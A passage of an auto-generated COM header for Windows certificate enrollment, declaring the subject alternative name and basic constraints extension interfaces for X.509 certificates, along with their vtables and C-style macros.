*/\n/* [local] */ \n\ntypedef \nenum AlternativeNameType\n    {\tXCN_CERT_ALT_NAME_UNKNOWN\t= 0,\n\tXCN_CERT_ALT_NAME_OTHER_NAME\t= 1,\n\tXCN_CERT_ALT_NAME_RFC822_NAME\t= 2,\n\tXCN_CERT_ALT_NAME_DNS_NAME\t= 3,\n\tXCN_CERT_ALT_NAME_DIRECTORY_NAME\t= 5,\n\tXCN_CERT_ALT_NAME_URL\t= 7,\n\tXCN_CERT_ALT_NAME_IP_ADDRESS\t= 8,\n\tXCN_CERT_ALT_NAME_REGISTERED_ID\t= 9,\n\tXCN_CERT_ALT_NAME_GUID\t= 10,\n\tXCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME\t= 11\n    } \tAlternativeNameType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0019_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0019_v0_0_s_ifspec;\n\n#ifndef __IAlternativeName_INTERFACE_DEFINED__\n#define __IAlternativeName_INTERFACE_DEFINED__\n\n/* interface IAlternativeName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab313-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromString( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromRawData( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromOtherName( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_StrValue( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeName * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromString )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromRawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromOtherName )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_StrValue )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IAlternativeNameVtbl;\n\n    interface IAlternativeName\n    {\n        CONST_VTBL struct IAlternativeNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeName_InitializeFromString(This,Type,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromString(This,Type,strValue) ) \n\n#define IAlternativeName_InitializeFromRawData(This,Type,Encoding,strRawData)\t\\\n    ( (This)->lpVtbl -> InitializeFromRawData(This,Type,Encoding,strRawData) ) \n\n#define IAlternativeName_InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped)\t\\\n    ( (This)->lpVtbl -> InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped) ) \n\n#define IAlternativeName_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IAlternativeName_get_StrValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_StrValue(This,pValue) ) \n\n#define IAlternativeName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IAlternativeName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_INTERFACE_DEFINED__\n#define __IAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab314-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeNames : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IAlternativeName *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeNames * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeName *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IAlternativeNames * This);\n        \n        END_INTERFACE\n    } IAlternativeNamesVtbl;\n\n    interface IAlternativeNames\n    {\n        CONST_VTBL struct IAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeNames_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IAlternativeNames_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IAlternativeNames_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IAlternativeNames_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IAlternativeNames_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IAlternativeNames_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n#define __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab315-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAlternativeNames : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternativeNames( \n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAlternativeNames * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternativeNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAlternativeNamesVtbl;\n\n    interface IX509ExtensionAlternativeNames\n    {\n        CONST_VTBL struct IX509ExtensionAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAlternativeNames_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAlternativeNames_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAlternativeNames_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAlternativeNames_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_AlternativeNames(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_AlternativeNames(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n#define __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionBasicConstraints */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionBasicConstraints;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab316-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionBasicConstraints : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PathLenConstraint( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionBasicConstraintsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionBasicConstraints * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsCA )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PathLenConstraint )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionBasicConstraintsVtbl;\n\n    interface IX509ExtensionBasicConstraints\n    {\n        CONST_VTBL struct IX509ExtensionBasicConstraintsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionBasicConstraints_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionBasicConstraints_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionBasicConstraints_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionBasicConstraints_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionBasicConstraints_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionBasicConstraints_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionBasicConstraints_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> 